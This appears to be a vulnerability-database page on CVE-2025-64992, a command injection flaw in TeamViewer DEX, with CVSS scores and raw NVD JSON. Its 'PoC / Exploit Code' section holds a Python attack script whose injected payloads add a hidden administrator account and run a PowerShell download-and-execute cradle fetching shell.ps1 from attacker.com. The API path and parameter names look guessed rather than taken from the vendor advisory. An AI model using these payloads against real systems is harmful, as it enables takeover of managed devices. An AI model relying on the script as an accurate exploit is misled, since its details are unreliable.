Security Vulnerability Report
中文
CVE-2025-64992 CVSS 6.8 MEDIUM

CVE-2025-64992

Published: 2025-12-11 12:16:26
Last Modified: 2026-01-09 02:08:03

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-PauseNomadJobQueue instruction prior V25. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE
TeamViewer DEX (1E DEX) < V25 (1E-Nomad-PauseNomadJobQueue指令受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64992 PoC - TeamViewer DEX Command Injection # This PoC demonstrates the command injection vulnerability in 1E-Nomad-PauseNomadJobQueue # Requires: Authentication with Actioner privileges import requests import json TARGET_URL = "https://target-server.teamviewer-dex.com/api/v1" AUTH_TOKEN = "Bearer <your-auth-token>" def exploit_cve_2025_64992(): """ Exploit the command injection vulnerability in PauseNomadJobQueue instruction The vulnerability allows injection of arbitrary commands through improper input validation """ headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Malicious payload: Inject command to create admin user # The vulnerability exists because the 'queue_name' parameter is not properly sanitized malicious_payload = { "instruction": "1E-Nomad-PauseNomadJobQueue", "parameters": { "queue_name": "; net user attacker P@ssw0rd123 /add; net localgroup Administrators attacker /add", "device_id": "TARGET_DEVICE_ID" } } # Alternative payload: Reverse shell connection reverse_shell_payload = { "instruction": "1E-Nomad-PauseNomadJobQueue", "parameters": { "queue_name": "; powershell -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'", "device_id": "TARGET_DEVICE_ID" } } try: # Send exploit request response = requests.post( f"{TARGET_URL}/instructions/execute", headers=headers, json=malicious_payload, verify=False, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully - check for command execution") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-64992 Exploit PoC") print("Target: TeamViewer DEX (1E DEX)") print("Vulnerability: Command Injection in 1E-Nomad-PauseNomadJobQueue") exploit_cve_2025_64992()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64992", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:26.193", "lastModified": "2026-01-09T02:08:02.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-PauseNomadJobQueue instruction prior V25. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.0", "matchCriteriaId": "267229C5-EC34-4746-A294-E39D02094991"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}